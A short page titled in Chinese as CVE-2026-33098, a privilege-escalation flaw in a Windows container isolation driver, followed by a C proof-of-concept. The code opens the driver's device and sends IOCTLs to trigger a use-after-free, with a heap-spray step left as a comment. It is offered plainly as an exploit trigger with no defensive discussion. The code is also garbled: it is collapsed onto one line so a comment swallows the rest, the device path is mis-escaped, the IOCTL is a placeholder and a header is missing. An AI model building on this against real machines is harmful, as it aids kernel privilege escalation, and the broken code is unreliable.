CVE-2026-33098 Windows容器隔离驱动提权漏洞

#include <windows.h> #include <winioctl.h> // Placeholder IOCTL for the vulnerable driver function #define VULNERABLE_IOCTL 0x222003 int main() { HANDLE hDevice = CreateFile(L"\\.\ContainerIsolationFilter", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } BYTE triggerBuffer[0x100]; memset(triggerBuffer, 0x41, sizeof(triggerBuffer)); DWORD bytesReturned; // Step 1: Trigger the memory free (UAF condition) DeviceIoControl(hDevice, VULNERABLE_IOCTL, triggerBuffer, sizeof(triggerBuffer), NULL, 0, &bytesReturned, NULL); // Step 2: Heap spray to occupy the freed memory (Conceptual) // In a real exploit, allocate memory here to replace the freed object // Step 3: Trigger the use of the dangling pointer DeviceIoControl(hDevice, VULNERABLE_IOCTL + 0x4, triggerBuffer, sizeof(triggerBuffer), NULL, 0, &bytesReturned, NULL); printf("Exploit trigger sent. Check for privilege escalation.\n"); CloseHandle(hDevice); return 0; }